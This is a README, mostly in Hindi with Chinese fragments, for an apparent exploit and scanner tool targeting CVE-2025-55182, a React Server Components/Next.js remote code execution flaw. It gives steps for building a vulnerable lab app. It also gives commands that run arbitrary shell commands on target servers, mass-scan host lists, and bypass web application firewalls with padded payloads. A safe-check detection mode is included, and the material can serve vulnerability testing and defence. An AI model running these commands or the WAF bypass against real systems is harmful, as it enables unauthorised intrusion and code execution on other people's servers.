
CVE-2025-55182(React Server Components डिसीरियलाइज़ेशन रिमोट कोड एक्ज़ीक्यूशन भेद्यता)
| घटक | पुनरुत्पादन के लिए अनुशंसित संस्करण | कमजोर संस्करण सीमा |
|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) और उससे ऊपर |
| Next.js | 15.0.0 | 15.x, 16.x (App Router) |
| React Core | 19.0.0 या 19.2.0 | 19.0.0 से 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 से 19.2.0 |
निम्न संस्करण को जबरन स्थापित करें
cd cve-2025-55182-target
npm install --force
निर्भरता संस्करण सत्यापित करें
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
जब तक शीर्ष-स्तरीय निर्भरता सूची [email protected] और [email protected] दिखाती है, वातावरण सफलतापूर्वक कमजोर अवस्था में लॉक हो गया है; यहाँ की चेतावनियों और त्रुटि कोडों को अनदेखा किया जा सकता है।
निर्माण करें:
npm run build
चलाएँ:
npm start
सर्वर http://localhost:3000 पर सुनता रहेगा। वातावरण सेटअप पूरा हो गया है, अब कमजोरी का सत्यापन शुरू किया जा सकता है।
कमजोरी का पता लगाना/स्कैनिंग:
cd React2shell
python3 scanner.py -u http://127.0.0.1:3000/
RCE:
python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Next.js अनुप्रयोगों में React Server Components (RSC) कमजोरियों CVE-2025-55182 और CVE-2025-66478 का पता लगाने के लिए एक कमांड-लाइन उपकरण।
कमजोरी के तकनीकी विवरण और पता लगाने की विधियों के विस्तृत परिचय के लिए, कृपया हमारी ब्लॉग पोस्ट देखें: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
डिफ़ॉल्ट रूप से, स्कैनर एक विशेष रूप से तैयार मल्टीपार्ट POST अनुरोध भेजता है जिसमें एक नियतात्मक गणितीय संक्रिया (41*271 = 11111) को निष्पादित करने के लिए एक RCE सत्यापन पेलोड होता है। कमजोर होस्ट X-Action-Redirect प्रतिक्रिया हेडर में /login?a=11111 के रूप में गणना परिणाम लौटाता है।
स्कैनर पहले रूट पथ का परीक्षण करता है। यदि रूट पथ कमजोर नहीं है, तो यह समान-मूल (same-origin) रीडायरेक्ट का अनुसरण करता है (जैसे / से /en/ तक) और रीडायरेक्ट लक्ष्य का परीक्षण करता है। क्रॉस-ओरिजिन रीडायरेक्ट का अनुसरण नहीं किया जाता।
--safe-check फ़्लैग का उपयोग सुरक्षित पता लगाने के मोड को सक्षम करता है, जो लक्ष्य पर कोड निष्पादित किए बिना साइड-चैनल संकेतों (जैसे 500 स्थिति कोड और विशिष्ट त्रुटि सारांश) पर निर्भर करता है। जब RCE निष्पादन वांछित न हो तो इस मोड का उपयोग करें।
--waf-bypass फ़्लैग का उपयोग मल्टीपार्ट अनुरोध निकाय के पहले यादृच्छिक जंक डेटा जोड़ता है। यह उन WAF जाँचों को बायपास करने में मदद करता है जो केवल अनुरोध निकाय के अगले भाग का विश्लेषण करती हैं। डिफ़ॉल्ट आकार 128KB है, जिसे --waf-bypass-size के माध्यम से कॉन्फ़िगर किया जा सकता है। WAF बायपास सक्षम होने पर, टाइमआउट स्वचालित रूप से 20 सेकंड तक बढ़ जाता है (जब तक स्पष्ट रूप से सेट न किया गया हो)।
--windows फ़्लैग का उपयोग पेलोड को Unix शेल (echo $((41*271))) से PowerShell (powershell -c "41*271") में बदल देता है, जो Windows पर चलने वाले लक्ष्यों के लिए उपयुक्त है।
pip install -r requirements.txt
एकल होस्ट स्कैन करें:
python3 scanner.py -u https://example.com
होस्टों की सूची स्कैन करें:
python3 scanner.py -l hosts.txt
मल्टीथ्रेडिंग के साथ स्कैन करें और परिणाम सहेजें:
python3 scanner.py -l hosts.txt -t 20 -o results.json
कस्टम अनुरोध हेडर के साथ स्कैन करें:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
सुरक्षित साइड-चैनल पहचान का उपयोग करें:
python3 scanner.py -u https://example.com --safe-check
Windows लक्ष्य स्कैन करें:
python3 scanner.py -u https://example.com --windows
WAF बायपास के साथ स्कैन करें:
python3 scanner.py -u https://example.com --waf-bypass
RCE कमांड निष्पादित करें:
python3 scanner.py -u https://example.com -c "ls /"
-u, --url 要检查的单个 URL
-c, --cmd 要执行的命令
-l, --list 包含主机的文件(每行一个)
-t, --threads 并发线程数(默认:10)
--timeout 请求超时时间(秒,默认:10)
-o, --output 保存结果的输出文件(JSON格式)
--all-results 保存所有结果,不仅限于存在漏洞的主机
-k, --insecure 禁用 SSL 证书验证
-H, --header 自定义请求头(可多次使用)
-v, --verbose 显示存在漏洞主机的响应详情
-q, --quiet 仅输出存在漏洞的主机
--no-color 禁用彩色输出
--safe-check 使用安全的旁路检测而非 RCE PoC
--windows 使用 Windows PowerShell 载荷替代 Unix shell
--waf-bypass 添加干扰数据以绕过 WAF 内容检测
--waf-bypass-size 干扰数据大小(KB,默认:128)
RCE PoC प्रारंभ में @maple3142 द्वारा सार्वजनिक रूप से प्रकट किया गया था — हम एक कार्यशील PoC प्रकाशित करने में उनके योगदान की अत्यधिक सराहना करते हैं।
यह उपकरण प्रारंभ में इस RCE की सुरक्षित पहचान के लिए बनाया गया था। यह सुविधा अभी भी --safe-check सुरक्षित पहचान मोड के माध्यम से उपलब्ध है।
परिणाम टर्मिनल पर आउटपुट होते हैं। -o पैरामीटर का उपयोग करने पर, कमजोर होस्ट JSON फ़ाइल में सहेजे जाते हैं, जिसमें सत्यापन के लिए पूर्ण HTTP अनुरोध और प्रतिक्रियाएँ शामिल होती हैं।